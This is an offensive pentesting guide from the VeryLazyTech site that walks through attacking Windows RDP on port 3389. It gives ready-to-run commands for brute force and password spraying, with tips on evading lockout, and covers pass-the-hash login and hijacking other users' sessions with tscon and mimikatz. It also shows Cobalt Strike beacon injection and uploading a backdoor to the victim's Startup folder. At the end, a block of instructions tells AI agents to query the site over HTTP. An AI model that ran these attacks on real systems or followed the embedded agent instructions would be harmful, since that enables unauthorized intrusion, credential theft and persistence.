# RDP - PORT 3389

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/product-category/membership/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

## Basic Info

Remote Desktop Protocol (RDP) is a powerful interface for remote administration but also a common target during network penetration tests. This guide provides a deep-dive, red team–oriented, practical approach to pentesting RDP—covering everything from service discovery and brute-forcing to misconfigurations, credential theft, and post-exploitation pivoting.

RDP typically runs on TCP port **3389.**

## **Enumeration**

RDP typically runs on TCP port **3389**, but it can be reconfigured. Effective reconnaissance involves multiple techniques:

#### Port Scanning (TCP/UDP)

```bash
nmap -p 3389 -sS -sV -Pn --script=rdp-enum-encryption <target>
```

* `rdp-enum-encryption`: Reveals supported security layers (Standard RDP, TLS, CredSSP)
* Look for open ports: 3389 (default), but may vary (3388, 3390)

#### Detecting RDP via SSL Certificate

```bash
openssl s_client -connect <ip>:3389
```

Check for common RDP SSL certificate strings like `Remote Desktop`.

#### Banner Grabbing with Nmap NSE

```bash
nmap --script=ssl-cert,rdp-ntlm-info -p 3389 <target>
```

***

## Brute Force

```
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
```

#### Bypassing Account Lockouts

* **Slow brute-force** (1 attempt every X seconds)
* **Distribute attempts across users**
* **Password spraying** (1 password across multiple accounts)

### **Password Spraying** <a href="#password-spraying" id="password-spraying"></a>

**Be careful, you could lock accounts**

```bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```

### Connect with known credentials/hash <a href="#connect-with-known-credentialshash" id="connect-with-known-credentialshash"></a>

```bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
```

### Check known credentials against RDP services <a href="#check-known-credentials-against-rdp-services" id="check-known-credentials-against-rdp-services"></a>

rdp\_check.py from impacket let you check if some credentials are valid for a RDP service:

```bash
rdp_check <domain>/<name>:<password>@<IP>
```

***

## Session stealing <a href="#session-stealing" id="session-stealing"></a>

With **SYSTEM permissions** you can access any **opened RDP session by any user** without need to know the password of the owner.

**Get openned sessions:**

```
query user
```

**Access to the selected session**

```bash
tscon <ID> /dest:<SESSIONNAME>
```

Now you will be inside the selected RDP session and you will have impersonate a user using only Windows tools and features.

**Important**: When you access an active RDP sessions you will kickoff the user that was using it.

You could get passwords from the process dumping it, but this method is much faster and led you interact with the virtual desktops of the user (passwords in notepad without been saved in disk, other RDP sessions opened in other machines...)

## **Mimikatz**

You could also use mimikatz to do this:

```bash
ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session
```

### Sticky-keys & Utilman <a href="#sticky-keys--utilman" id="sticky-keys--utilman"></a>

Combining this technique with **stickykeys** or **utilman you will be able to access a administrative CMD and any RDP session anytime**

You can search RDPs that have been backdoored with one of these techniques already with: <https://github.com/linuz/Sticky-Keys-Slayer>

### RDP Process Injection <a href="#rdp-process-injection" id="rdp-process-injection"></a>

If the **external group** has **RDP access** to any **computer** in the current domain, an **attacker** could **compromise that computer and wait for him**.

Once that user has accessed via RDP, the **attacker can pivot to that users session** and abuse its permissions in the external domain.

```bash
# Supposing the group "External Users" has RDP access in the current domain
## lets find where they could access
## The easiest way would be with bloodhound, but you could also run:
Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#or
Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName

# Then, compromise the listed machines, and wait til someone from the external domain logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin

# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
 PID   PPID  Name                         Arch  Session     User
 ---   ----  ----                         ----  -------     -----
 ...
 4960  1012  rdpclip.exe                  x64   3           EXT\super.admin

beacon> inject 4960 x64 tcp-local
## From that beacon you can just run powerview modules interacting with the external domain as that user
```

### RDPInception

If a user access via **RDP into a machine** where an **attacker** is **waiting** for him, the attacker will be able to **inject a beacon in the RDP session of the user** and if the **victim mounted his drive** when accessing via RDP, the **attacker could access it**.

In this case you could just **compromise** the **victims** **original computer** by writing a **backdoor** in the **statup folder**.

```bash
# Wait til someone logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin

# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
 PID   PPID  Name                         Arch  Session     User
 ---   ----  ----                         ----  -------     -----
 ...
 4960  1012  rdpclip.exe                  x64   3           EXT\super.admin

beacon> inject 4960 x64 tcp-local

# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.
## \\tsclient\c is the C: drive on the origin machine of the RDP session
beacon> ls \\tsclient\c

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
          dir     02/10/2021 04:11:30   $Recycle.Bin
          dir     02/10/2021 03:23:44   Boot
          dir     02/20/2021 10:15:23   Config.Msi
          dir     10/18/2016 01:59:39   Documents and Settings
          [...]

# Upload backdoor to startup folder
beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
beacon> upload C:\Payloads\pivot.exe
```

### Adding User to RDP group <a href="#adding-user-to-rdp-group" id="adding-user-to-rdp-group"></a>

```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```

***

## Automatic Tools <a href="#automatic-tools" id="automatic-tools"></a>

[**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)

**AutoRDPwn** is a post-exploitation framework created in Powershell, designed primarily to automate the **Shadow** attack on Microsoft Windows computers. This vulnerability (listed as a feature by Microsoft) allows a remote attacker to **view his victim's desktop without his consent**, and even control it on demand, using tools native to the operating system itself.

[**EvilRDP**](https://github.com/skelsec/evilrdp)

* Control mouse and keyboard in an automated way from command line
* Control clipboard in an automated way from command line
* Spawn a SOCKS proxy from the client that channels network communication to the target via RDP
* Execute arbitrary SHELL and PowerShell commands on the target without uploading files
* Upload and download files to/from the target even when file transfers are disabled on the target

[**SharpRDP**](https://github.com/0xthirteen/SharpRDP)

This tool allows to execute commands in the victim RDP **without needing a graphical interface**.

{% hint style="success" %}
Learn & practice [**For the Bug Bounty**](https://shop.verylazytech.com)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/product-category/membership/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚

</details>
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.verylazytech.com/rdp-port-3389.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
